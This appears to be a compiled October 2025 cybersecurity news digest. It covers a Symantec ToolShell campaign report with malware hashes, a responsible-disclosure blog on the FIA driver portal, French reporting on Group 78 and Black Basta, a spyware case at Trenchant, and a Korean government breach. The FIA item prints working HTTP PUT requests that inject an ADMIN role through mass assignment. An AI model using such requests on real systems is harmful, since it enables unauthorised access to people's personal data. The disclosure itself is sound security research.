| SECURITY.COM
Threat Hunter Team
Symantec and Carbon Black
China-based threat actors also compromised networks of government agencies in countries in Africa and South America.
China-based threat actors also compromised networks of government agencies in countries in Africa and South America.
Threat Intelligence
22 Oct 2025
7 Min Read
Share
China-based attackers used the ToolShell vulnerability (CVE-2025-53770) to compromise a telecoms company in the Middle East shortly after the vulnerability was publicly revealed and patched in July 2025.
The same threat actors also compromised two government departments in the same African country during the same time period. Zingdoor, which was deployed on the networks of all three organizations, has in the past been associated with the Chinese group Glowworm (aka Earth Estries, FamousSparrow).
Another tool used in this campaign, KrustyLoader, has also previously been linked to activity by a group called UNC5221, which has been described as a China-nexus group.
The attackers also gained access to the networks of two government agencies in South America and a university in the U.S. recently. In these attacks, the attackers used other vulnerabilities for initial access and exploited SQL servers and Apache HTTP servers running the Adobe ColdFusion software to deliver their malware. Notably, in the South American victims, the attackers used the filename “mantec.exe”, possibly to mimic a Symantec filename (“symantec.exe”) in an attempt to hide their malicious activity. This binary (mantec.exe), which is a legitimate copy of a BugSplat executable, a tool used for bug tracking, was used to sideload a malicious DLL.
Evidence suggests that a state technology agency in an African country, a government department in the Middle East and a finance company in a European country were also compromised by the same attackers.
What is ToolShell?
ToolShell was patched by Microsoft in July 2025, but by the time it was patched it had already been exploited in the wild as a zero-day vulnerability. ToolShell affects on-premise SharePoint servers and gives an attacker unauthenticated access to vulnerable servers, allowing them to remotely execute code and access all content and file systems. ToolShell was a variant of another vulnerability (CVE-2025-49704) that had been patched in July 2025. Another related vulnerability (CVE-2025-53771) was also patched at the same time as ToolShell. This is a path traversal bug that allows an authorized attacker to perform spoofing over a network. It too was a variant of an older patched vulnerability (CVE-2025-49706).
Shortly after patching the vulnerabilities, Microsoft said that at least three Chinese groups had been exploiting ToolShell. Microsoft said at the time that two Chinese espionage groups had been exploiting the vulnerability - Budworm (aka Linen Typhoon) and Sheathminer (aka Violet Typhoon). In addition to this, a third China-based actor, known as Storm-2603, was also exploiting the vulnerabilities to carry out attacks in which it was distributing the Warlock ransomware.
Toolset
Malicious activity in the telecoms company in the Middle East began on July 21, 2025, just two days after patches were published for ToolShell, with the deployment of a likely webshell by the attackers.
The attackers loaded the Zingdoor backdoor onto the network by sideloading it using a legitimate Trend Micro binary. Zingdoor is a HTTP backdoor written in Go, which was first seen in April 2023, and first documented by Trend Micro in August that year being used in a campaign that they attributed to Glowworm. Zingdoor can collect system information, upload and download files, and run arbitrary commands on compromised networks. As well as Zingdoor, the attackers also deployed what appears to be the ShadowPad Trojan. The loader for the Trojan was sideloaded using a legitimate BitDefender binary (SHA256: 3fc4f3ffce6188d3ef676f9825cdfa297903f6ca7f76603f12179b2e4be90134).
ShadowPad is a modular remote access Trojan (RAT) that is closely associated with China-based APT groups. Because of its modular nature, ShadowPad can be continuously updated with new functionalities. This capability makes it a powerful tool. It is associated with various threat groups, particularly the APT41-nexus groups such as Blackfly, Grayfly and Redfly. It was documented being used by Glowworm in 2024, which was the first time that particular group had been observed using the malware. It has more recently been used in attacks where ransomware has been deployed. Typically, ShadowPad is loaded onto victim networks via DLL sideloading. DLL sideloading is a technique where the attackers use the DLL search order mechanism in Windows to plant and then invoke a legitimate application that executes a malicious DLL payload.
On July 25, KrustyLoader was dropped by the attackers. KrustyLoader was first documented in January 2024. It is an initial-stage malware, written in Rust, which has the primary purpose of delivering a second-stage payload. KrustyLoader can carry out various anti-sandbox and anti-analysis checks, can make a copy of itself and set itself up to self-delete when its activity is finished, and can decrypt and download additional malware. Its previous activity has been linked to China-based threat actors, and in earlier campaigns it was also used to download the Sliver post-exploitation framework, which is also seen deployed against this target.
Sliver is an open-source cross-platform adversary emulation/red team framework that can legitimately be used for security testing. However, it is often abused by threat actors who use it as a command-and-control framework.
A variety of publicly available and living-off-the-land tools are also used by the attackers in this activity, including:
Certutil: Microsoft Windows utility that can be used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
GoGo Scanner: A publicly available automated scanning engine aimed at Chinese speaking users, for use by red teams. It is available on GitHub.
Revsocks: A publicly available cross-platform SOCKS5 proxy server program/library written in C that can also reverse itself over a firewall.
Procdump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but can also be used as a general process dump utility.
Minidump: A script from the post-exploitation framework PowerSploit used for dumping processes. Attackers usually dump lsass.exe to find credentials.
LsassDumper: A utility designed to dump the Local Security Authority Subsystem Service (LSASS) process memory to a file.
An exploit for the Windows LSA Spoofing Vulnerability, CVE-2021-36942 (aka PetitPotam), was also executed. PetitPotam is an exploitation technique that allows for a threat actor within a compromised network to steal credentials and authentication information from Windows Servers such as a Domain Controller to gain full control of the domain. This is likely used for lateral movement or privilege escalation.
ToolShell impact further revealed
These attacks demonstrate that the ToolShell vulnerability was being exploited by an even wider range of Chinese threat actors than was originally thought.
There is some overlap in the types of victims and some of the tools used between this activity and activity previously attributed to Glowworm. However, we do not have sufficient evidence to conclusively attribute this activity to one specific group, though we can say that all evidence points to those behind it being China-based threat actors.
The large number of apparent victims of this activity is also notable. This may indicate that the attackers were carrying out an element of mass scanning for the ToolShell vulnerability, before then carrying out further activity only on networks of interest. The activity carried out on targeted networks indicates that the attackers were interested in stealing credentials and in establishing persistent and stealthy access to victim networks, likely for the purpose of espionage.
Indicators of Compromise (IOCs)
File indicators
6240e39475f04bfe55ab7cba8746bd08901d7678b1c7742334d56f2bc8620a35 - LsassDumper
929e3fdd3068057632b52ecdfd575ab389390c852b2f4e65dc32f20c87521600 - KrustyLoader
db15923c814a4b00ddb79f9c72f8546a44302ac2c66c7cc89a144cb2c2bb40fa - Likely ShadowPad
e6c216cec379f418179a3f6a79df54dcf6e6e269a3ce3479fd7e6d4a15ac066e – ShadowPad Loader
071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6 - Zingdoor
1f94ea00be79b1e4e8e0b7bbf2212f2373da1e13f92b4ca2e9e0ffc5f93e452b - PetitPotam/CVE-2021-36942 exploit
dbdc1beeb5c72d7b505a9a6c31263fc900ea3330a59f08e574fd172f3596c1b8 - RevSocks
6aecf805f72c9f35dadda98177f11ca6a36e8e7e4348d72eaf1a80a899aa6566 - LsassDumper
568561d224ef29e5051233ab12d568242e95d911b08ce7f2c9bf2604255611a9 - Socks Proxy
28a859046a43fc8a7a7453075130dd649eb2d1dd0ebf0abae5d575438a25ece9 - GoGo Scanner
7be8e37bc61005599e4e6817eb2a3a4a5519fded76cb8bf11d7296787c754d40 - Sliver
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61 - ProcDump
e4ea34a7c2b51982a6c42c6367119f34bec9aeb9a60937836540035583a5b3bc - ProcDump
7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1 – Minidump
7acf21677322ef2aa835b5836d3e4b8a6b78ae10aa29d6640885e933f83a4b01 - mantec.exe – Benign executable
6c48a510642a1ba516dbc5effe3671524566b146e04d99ab7f4832f66b3f95aa - bugsplatrc.dll
Network indicators
http://kia-almotores.s3.amazonaws[.]com/sy1cyjt - KrustyLoader C&C server
http://omnileadzdev.s3.amazonaws[.]com/PBfbN58lX - KrustyLoader C&C server
ian.sh
Ian Carroll
22.10.2025¨
We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.
Introduction
With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.
Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, Gal Nagli, Sam Curry, and I thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.
This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.
Finding F1 Driver Licenses
To race in Formula 1, drivers hold an FIA Super Licence. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.
F1 drivers often compete outside Grands Prix as well, where the FIA uses a Driver Categorisation (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at drivercategorisation.fia.com, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.
The public login page for the Driver Categorisation portal..
After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:
Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null
}
The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:
Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "2000-02-17",
"gender": null,
"token": null,
"roles": null,
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
The JSON HTTP response for updating our own profile contained the "roles" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.
JavaScript from the FIA Driver Categorisation portal.
Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:
Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
]
}
Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.
Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "1999-10-17",
"gender": null,
"token": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
],
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.
Accessing the driver categorisation portal as an administrator.
To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.
Internal FIA comments about the categorisation of a professional F1 driver.
We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. We did not access any passports / sensitive information and all data has been deleted.
Disclosure timeline
06/03/2025: Initial disclosure to FIA via email and Linkedin
06/03/2025: Initial response from FIA, site taken offline
06/10/2025: Official response from FIA informing us of a comprehensive fix
10/22/2025: Release of blog post, public disclosure
lemonde.fr
Par Florian Reynaud et Martin Untersinger
Publié le 16 octobre 2025 à 06h30, modifié le 16 octobre 2025 à 10h04
En novembre 2024, la présentation de cette task force par le FBI à des policiers et des magistrats européens a choqué certains enquêteurs. Ils craignent notamment pour l’intégrité de leurs investigations.
Les policiers sont venus de toute l’Europe. En ce début novembre 2024, ils ont rendez-vous au siège d’Europol, l’organisme de coopération des polices européennes, à La Haye, aux Pays-Bas. Ils vont plancher en secret sur une enquête ultrasensible visant Black Basta, un gang de cybercriminels d’élite.
Même s’il est alors en perte de vitesse, ce groupe fait encore partie des plus dangereux au monde. Il a frappé entreprises et administrations sans épargner personne, pas même des hôpitaux : la quasi-totalité des services de police et de justice d’Europe l’ont dans le viseur. Comme souvent dans ce type de rassemblement, le puissant FBI – partenaire de longue date d’Europol – est présent. Mais au cours de la réunion, l’agent de liaison de la police fédérale américaine laisse sa place à un de ses collègues pour un exposé des plus inhabituels.
Ce dernier est venu présenter une unité secrète du gouvernement américain : le « Group 78 ». Il ira ensuite faire de même dans une deuxième réunion, à Eurojust, le pendant d’Europol où se coordonnent les magistrats. Sur la base de documents, de plusieurs sources policières et judiciaires européennes et à l’issue d’une enquête de plusieurs mois, Le Monde et Die Zeit sont en mesure de révéler l’existence de cette cellule secrète, son nom et la manière dont elle a été présentée aux enquêteurs européens.
Des enquêteurs médusés
Lors de ces deux réunions, l’agent du FBI détaille la façon dont le Group 78 entend remplir sa mission. Sa stratégie est double : d’une part, mener des actions en Russie pour rendre la vie des membres de Black Basta impossible et les forcer à quitter le territoire pour les mettre à portée des mandats d’arrêt les visant ; d’autre part, manipuler les autorités russes pour qu’elles mettent fin à la protection dont bénéficie le gang. Pour les policiers et les magistrats européens, le message est clair : les services de renseignement américains viennent de faire une entrée fracassante dans le paysage.
Une partie d’entre eux est sous le choc. D’abord parce que le Group 78 semble conscient de perturber, par ses actions, des opérations judiciaires européennes. Ensuite, des enquêteurs craignent que la stratégie de cette cellule cache des actions violentes ou illégales. Et si, grâce à ces dernières, les criminels se retrouvent à portée de mandat d’arrêt européen, cela reviendrait, pour la justice européenne, à blanchir les manœuvres des services américains. « Hors de question que je couvre ça », s’écrie auprès du Monde et de son partenaire d’enquête un magistrat européen, très remonté.
Enfin, certains reprochent au FBI d’avoir mélangé les rôles en introduisant le Group 78 dans une enceinte judiciaire où la coopération, la transparence entre alliés et le secret de l’enquête ont permis de remporter des succès majeurs dans la lutte contre la pègre numérique. Que plusieurs sources présentes aient accepté de se confier à des journalistes est un signe du malaise suscité.
Le Group 78 est apparu « dans une ou deux enquêtes, causant une colère considérable au sein de la coopération policière, dénonce auprès du Monde et de son partenaire un second magistrat spécialisé d’un autre pays européen. Nous ne savons pas exactement qui l’a fondé et quelles sont ses motivations politiques. Nous ne voulons rien avoir affaire avec ça. Nous sommes des enquêteurs : pour nous, dès qu’un groupe comme Group 78 apparaît, c’est fini. » La présentation du FBI a contraint certains enquêteurs à revoir leurs plans vis-à-vis de Black Basta, confirme une source proche du dossier.
lemagit.fr par
Valéry Rieß-Marchive, Rédacteur en chef
Publié le: 20 oct. 2025
Selon Le Monde et Die Zeit, un mystérieux « Group 78 » aurait organisé des fuites d’information sur le groupe de rançongiciel Black Basta, visant notamment à les déstabiliser. Ai-je compté parmi leurs destinataires ?
Ce jeudi 16 octobre, Le Monde et Die Zeit ont publié une enquête sur un mystérieux groupe 78 qui aurait deux objectifs principaux : « d’une part, mener des actions en Russie pour rendre la vie des membres de Black Basta impossible et les forcer à quitter le territoire afin de les mettre à portée des mandats d’arrêt les visant ; d’autre part, manipuler les autorités russes pour qu’elles mettent fin à la protection dont bénéficie le gang ».
Selon nos confrères, ces révélations « éclairent d’un jour nouveau deux événements survenus peu de temps après. À la mi-décembre, une même source anonyme contacte deux journalistes spécialisés dans la Cybercriminalité ». J’étais l’un d’eux.
L’approche
Pour moi, tout a commencé le 16 décembre 2024. Peu avant 22h, un inconnu se glisse dans mes messages directs sur X (ex-Twitter) : « je vous écris pour voir si vous êtes intéressé de savoir qui est le leader de Black Basta ».
Black Basta, c’est une enseigne de ransomware apparue au printemps 2022, moins de deux mois après l’invasion de l’Ukraine par la Russie. C’est à ce moment-là que Conti a pris ouvertement position en faveur de l’envahisseur. Une initiative qui a conduit à l’éclatement de l’enseigne et à la fuite de nombreuses données internes sensibles. De là ont émergé Akira, BlackByte, Karakurt, Black Basta ou encore Royal/BlackSuit et ThreeAM.
Je suivais de près les activités de Black Basta. J’en avais ainsi pointé un net recul durant l’été 2024. L’enseigne était globalement discrète malgré quelques victimes de renom. Ses habitudes de négociation suggéraient l’existence d’une poignée de sous-groupes, dont certains aux processus plus structurés que d’autres. De quoi rappeler l’organisation des Conti ou Akira.
En France, Black Basta s’est notamment attaqué à Oralia en avril 2022, puis H-Tube, l’étude Villa Florek, Envea, Dupont Restauration, et Baccarat. Au total, plus de 520 victimes de Black Basta sont publiquement connues, contre plus de 350 pour Conti.
En novembre 2023, Elliptic et Corvus Insurance estimaient que Black Basta avait encaissé plus de 100 millions de dollars de rançons en près de deux ans d’activité.
L’individu qui m’a contacté, c’est un certain « Mikhail ». Bien sûr que j’étais intéressé par ce qu’il avait à dire. J’avais suivi des mouvements de fonds, en Bitcoin, confirmant les liens entre Conti et Black Basta. Il m’apparaissait probable que l’on allait parler de celui qui se faisait appeler « tramp ». Mon intuition était juste. Les premiers échanges de courriels ont commencé dans la foulée de la prise de contact initiale.
Moins de dix jours après cela, la veille de Noël, dans l’après-midi, Hakan Tanriverdi, de Paper Trail Media, m’appelle : il ne nous faut pas longtemps pour établir que nous avons été approchés par la même source.
Les doutes
Très vite, nous décidons de rester en contact étroit pour discuter des informations fournies par « Mikhail », et notamment valider leur cohérence de part et d’autre.
Pour cela, nous ouvrons un canal de communication partagé, sécurisé, aux messages éphémères. Nous ne sommes pas seuls dans ce groupe qui comptera 5 membres au final : j’ai notamment proposé que des spécialistes du renseignement humain (HUMINT) et de la cybercriminalité apportent leur regard. D’autres, de plusieurs régions du monde et en dehors de ce groupe, viendront également me prêter main-forte au fil de l’enquête.
Ces apports externes seront essentiels. Car très vite, des interrogations sur l’identité et les motivations de « Mikhail » ont émergé ; à juste titre, suggèrent les révélations de nos confrères du Monde, Florian Reynaud et Martin Untersinger.
Comme ils l’indiquent, « les deux reporters soupçonnent cependant [la source] d’être un faux-nez des autorités américaines : elle ne leur parlait qu’aux horaires de bureaux américains et utilisait du jargon juridique inhabituel pour un membre de la pègre russophone… »
Plus précisément, « Mikhail » ne m’a jamais écrit avant 13h45 heure de Paris. Sa plage horaire d’activité observable était loin de suggérer une localisation quelque part entre l’Europe centrale et l’Oural, mais bien plus sur la rive ouest de l’Atlantique.
Et il ne m’a jamais envoyé plus d’un mail par jour, comme s’il écrivait depuis un poste dont l’accès était restreint, au moins dans le temps. Les cybercriminels avec lesquels j’ai pu échanger (ou essayer) sont loin d’avoir ce profil : soit ils refusent de parler, soit ils s’avèrent extrêmement bavards, jusqu’à engager des conversations sur des sujets personnels.
« Mikhail » est en outre resté silencieux à Noël et au Nouvel An, comme s’il faisait une pause. Avant de reprendre langue le 2 janvier en souhaitant bonne année. Mais il était bien actif le 14 janvier… jour du Nouvel An orthodoxe. En pleine période durant laquelle de nombreux cybercriminels russophones sont en congé.
Enfin, il y a le vocabulaire et le style de langage utilisé par « Mikhail », bien plus marqués « forces de l’ordre » que « cybercriminels ».
Accélération
Fin janvier 2025, il a commencé à se faire pressant, semblant s’impatienter que je n’aie encore rien publié, et ne guère goûter certaines de mes questions. Le 20 février, il m’enverra son dernier mail. Une fuite majeure concernant Black Basta venait d’avoir lieu sur Telegram. « Mikhail » ne se contente pas de la relever : il me fournit un lien direct vers les données, hébergées sur Mega. Comme s’il tenait vraiment à ce que je mette la main dessus rapidement.
Déjà début janvier, que « Mikhail » soit effectivement un ex-Black Basta ou une gorge profonde, il apparaissait clair que l’enseigne était proche de partir en fumée. Un mois et demi plus tard, de nombreux éléments rendus publics permettaient de confirmer l’authenticité des données divulguées.
Reste que, avec notamment l’aide des experts sollicités et d’autres sources, il a été possible de confirmer la validité de ce qui avait été fourni par « Mikhail ». Et d’aller bien au-delà. Tout en découvrant, en fil de l’enquête, que l’identité réelle de « Tramp » avait été vraisemblablement établie bien avant cela et ne relevait guère plus que du secret de polichinelle.
Les révélations de nos confrères du Monde apportent un éclairage nouveau sur cette enquête, tout en confortant la méthode qui lui a été rigoureusement appliquée. Pour les fins connaisseurs sollicités alors, il n’est pas invraisemblable que « Mikhail » ait été lié aux forces de l’ordre américaines.
Pour l’un de ces experts, qui a accepté que je partage ici son analyse sous condition d’anonymat, « la source disposait d’informations et de renseignements uniques qui démontraient une compréhension approfondie d’Oleg/Tramp. Ce type d’informations ne peut être obtenu que lorsque l’on dispose des bonnes ressources ».
De nombreuses questions sans réponse
En outre, « la personne à l’origine de la fuite n’a jamais laissé transparaître ses émotions et est toujours restée concentrée sur le sujet. Cela correspond à la possibilité que cette personne ait été associée aux forces de l’ordre et ait intentionnellement cherché des journalistes à qui divulguer ces informations ».
Dès lors, la motivation de « Mikhail » était « très probablement de légitimer les renseignements provenant de sources ouvertes afin qu’ils puissent ensuite être utilisés à des fins d’intervention officielle ».
Cela n’en laisse pas moins de nombreuses questions sans réponse. Personnellement, celles qui retiennent le plus mon attention concernent ce qui s’est passé le 21 juin 2024, à Erevan, sur American Street où, selon la presse locale, Oleg Nefedov a été interpellé à 11h du matin.
Que faisait-il dans cette rue de la capitale arménienne, longeant la rivière Hrazdan, qui ne mène qu’à l’ambassade des États-Unis ? Qui pouvait bien en espérer son extradition d’un pays dont le contrôle aux frontières était encore alors assuré par les services… russes ? À un mois près.
À cela s’ajoute la question du choix des journalistes. Peut-être « Mikhail » a-t-il estimé que je serais susceptible d’accompagner et d’épauler un journaliste bien en vue sur son marché cible. Lequel aurait dès lors été l’Allemagne. Mais pour envoyer un message à qui ?
techcrunch.com
Lorenzo Franceschi-Bicchierai
7:45 AM PDT · October 21, 2025
A developer at Trenchant, a leading Western spyware and zero-day maker, was suspected of leaking company tools and was fired. Weeks later, Apple notified him that his personal iPhone was targeted with spyware.
Earlier this year, a developer was shocked by a message that appeared on his personal phone: “Apple detected a targeted mercenary spyware attack against your iPhone.”
“I was panicking,” Jay Gibson, who asked that we don’t use his real name over fears of retaliation, told TechCrunch.
Gibson, who until recently built surveillance technologies for Western government hacking tools maker Trenchant, may be the first documented case of someone who builds exploits and spyware being themselves targeted with spyware.
“What the hell is going on? I really didn’t know what to think of it,” said Gibson, adding that he turned off his phone and put it away on that day, March 5. “I went immediately to buy a new phone. I called my dad. It was a mess. It was a huge mess.”
At Trenchant, Gibson worked on developing iOS zero-days, meaning finding vulnerabilities and developing tools capable of exploiting them that are not known to the vendor who makes the affected hardware or software, such as Apple.
“I have mixed feelings of how pathetic this is, and then extreme fear because once things hit this level, you never know what’s going to happen,” he told TechCrunch.
But the ex-Trenchant employee may not be the only exploit developer targeted with spyware. According to three sources who have direct knowledge of these cases, there have been other spyware and exploit developers in the last few months who have received notifications from Apple alerting them that they were targeted with spyware.
Apple did not respond to a request for comment from TechCrunch.
The targeting of Gibson’s iPhone shows that the proliferation of zero-days and spyware is starting to ensnare more types of victims.
Spyware and zero-day makers have historically claimed their tools are only deployed by vetted government customers against criminals and terrorists. But for the past decade, researchers at the University of Toronto’s digital rights group Citizen Lab, Amnesty International, and other organizations have found dozens of cases where governments used these tools to target dissidents, journalists, human rights defenders, and political rivals all over the world.
The closest public cases of security researchers being targeted by hackers happened in 2021 and 2023, when North Korean government hackers were caught targeting security researchers working in vulnerability research and development.
Suspect in leak investigation
Two days after receiving the Apple threat notification, Gibson contacted a forensic expert who has extensive experience investigating spyware attacks. After performing an initial analysis of Gibson’s phone, the expert did not find any signs of infection, but still recommended a deeper forensic analysis of the exploit developer’s phone.
A forensic analysis would have entailed sending the expert a complete backup of the device, something Gibson said he was not comfortable with.
“Recent cases are getting tougher forensically, and some we find nothing on. It may also be that the attack was not actually fully sent after the initial stages, we don’t know,” the expert told TechCrunch.
Without a full forensic analysis of Gibson’s phone, ideally one where investigators found traces of the spyware and who made it, it’s impossible to know why he was targeted or who targeted him.
But Gibson told TechCrunch that he believes the threat notification he received from Apple is connected to the circumstances of his departure from Trenchant, where he claims the company designated him as a scapegoat for a damaging leak of internal tools.
Apple sends out threat notifications specifically for when it has evidence that a person was targeted by a mercenary spyware attack. This kind of surveillance technology is often invisibly and remotely planted on someone’s phone without their knowledge by exploiting vulnerabilities in the phone’s software, exploits that can be worth millions of dollars and can take months to develop. Law enforcement and intelligence agencies typically have the legal authority to deploy spyware on targets, not the spyware makers themselves.
Sara Banda, a spokesperson for Trenchant’s parent company L3Harris, declined to comment for this story when reached by TechCrunch before publication.
A month before he received Apple’s threat notification, when Gibson was still working at Trenchant, he said he was invited to go to the company’s London office for a team-building event.
When Gibson arrived on February 3, he was immediately summoned into a meeting room to speak via video call with Peter Williams, Trenchant’s then-general manager who was known inside the company as “Doogie.” (In 2018, defense contractor L3Harris acquired zero-day makers Azimuth and Linchpin Labs, two sister startups that merged to become Trenchant.)
Williams told Gibson the company suspected he was double employed and was thus suspending him. All of Gibson’s work devices would be confiscated and analyzed as part of an internal investigation into the allegations. Williams could not be reached for comment.
“I was in shock. I didn’t really know how to react because I couldn’t really believe what I was hearing,” said Gibson, who explained that a Trenchant IT employee then went to his apartment to pick up his company-issued equipment.
Around two weeks later, Gibson said Williams called and told him that following the investigation, the company was firing him and offering him a settlement agreement and payment. Gibson said Williams declined to explain what the forensic analysis of his devices had found, and essentially told him he had no choice but to sign the agreement and depart the company.
Feeling like he had no alternative, Gibson said he went along with the offer and signed.
Gibson told TechCrunch he later heard from former colleagues that Trenchant suspected he had leaked some unknown vulnerabilities in Google’s Chrome browser, tools that Trenchant had developed. Gibson, and three former colleagues of his, however, told TechCrunch he did not have access to Trenchant’s Chrome zero-days, given that he was part of the team exclusively developing iOS zero-days and spyware. Trenchant teams only have strictly compartmentalized access to tools related to the platforms they are working on, the people said.
“I know I was a scapegoat. I wasn’t guilty. It’s very simple,” said Gibson. “I didn’t do absolutely anything other than working my ass off for them.”
The story of the accusations against Gibson and his subsequent suspension and firing was independently corroborated by three former Trenchant employees with knowledge.
Two of the other former Trenchant employees said they knew details of Gibson’s London trip and were aware of suspected leaks of sensitive company tools.
All of them asked not to be named but believe Trenchant got it wrong.
Korea JoongAng daily
Friday
October 17, 2025
The Korean government officially acknowledged Friday that hackers had accessed the Onnara system — a government work management platform — and administrative digital signature certificates called the government public key infrastructure (GPKI), which are essential for civil servant authentication.
Authorities said they are investigating how the breach occurred and assessing the extent of the damage, while also implementing new security measures.
During a press briefing at the government complex in Sejong, the Ministry of the Interior and Safety confirmed that “in mid-July, the National Intelligence Service (NIS) discovered signs that an external party accessed the Onnara system via the Government Virtual Private Network (G-VPN).”
Two months to acknowledge hacking
The statement came two months after a report by Phrack Magazine, a U.S.-based cybersecurity publication, claimed that the Ministry of the Interior and Safety, Ministry of Foreign Affairs, Ministry of Unification, Ministry of Oceans and Fisheries, telecom companies KT and LG U+ and private tech firms including Daum, Kakao and Naver, had all been targeted by hackers.
Until now, the Korean government had remained silent, but on Friday, it acknowledged the report’s claims were accurate.
The NIS is currently working with relevant agencies to determine how the breach occurred and to evaluate the scope of any data leaks. While the Ministry of the Interior and Safety said there has been no confirmed leak of government documents so far, it did not rule out the possibility of such leaks being uncovered during the investigation.
In response to the breach, the government has taken steps to strengthen its cybersecurity protocols.
“Since Aug. 4, remote access to the G-VPN has required not only digital signature authentication but also phone-based verification,” said Lee Yong-seok, head of the digital government innovation office at the Interior Ministry. “Additionally, we completed measures to prevent the reuse of login credentials for the Onnara system, which were applied to all central and local government agencies on July 28.”
Regarding GPKI, the government reviewed the validity of all certificates with information provided by the NIS. Most of the compromised certificates had already expired, and those that were still valid were revoked as of Aug. 13, according to the ministry.
NIS still investigating breach origin
The government also shared the preliminary results of its investigation into the cause of the breach, attributing it to user negligence that led to certificate information being leaked externally.
“All central and local government agencies have been instructed to stop sharing certificates and to strengthen management protocols,” the Interior Ministry said.
Although the North Korean hacking group Kimsuky was initially suspected to be behind the attack, the NIS said there was insufficient evidence to definitively identify the perpetrator. Kimsuky is known for targeting diplomatic, security and defense sectors to gather intelligence for the North Korean regime.
To counter security threats related to certificate theft or duplication, the government announced plans to replace GPKI-based authentication with biometric multi-factor methods, such as mobile government IDs for public officials.
The government also intends to expand the use of secure authentication technologies — including biometric-based digital IDs — across public services for the general population.
“If the NIS identifies any additional issues, we will immediately address and respond to them,” Lee said. “We will do everything we can to prevent a similar incident from happening again.”
The official Xubuntu website briefly served Windows malware to users trying to download the distro between 18-19 October. ISOs were not affected.
news.microsoft.com 16/10/2025
La Suisse occupe la neuvième place en Europe et la vingt-deuxième au niveau mondial parmi les pays où les clients sont le plus fréquemment touchés par une activité cyber au premier semestre 2025, selon le sixième rapport Microsoft Digital Defense publié aujourd’hui. Le pays représente environ 3,3 % de l’ensemble des organisations européennes touchées par une activité cybermalveillante — ce qui signifie qu’environ trois organisations européennes affectées sur cent sont suisses.
Principales conclusions :
Au moins 52 % des cyberattaques mondiales ont été motivées par le rançongiciel ou l’extorsion, tandis que 4 % seulement visaient exclusivement l’espionnage.
Les attaques basées sur l’identité ont augmenté de 32 % au premier semestre 2025, dont plus de 97 % étaient des attaques par mot de passe.
Dans 80 % des incidents étudiés par les équipes de sécurité de Microsoft l’an dernier, les attaquants cherchaient à voler des données à des fins financières.
Les hôpitaux, écoles, communes et systèmes de transport subissent des conséquences concrètes, telles que des retards dans les soins d’urgence ou des perturbations des services publics.
Les attaquants comme les défenseurs tirent parti de l’intelligence artificielle (IA) : les cybercriminels l’utilisent pour automatiser l’hameçonnage et créer du contenu synthétique, tandis que les défenseurs déploient des outils alimentés par l’IA afin de détecter et de contrer les menaces plus rapidement.
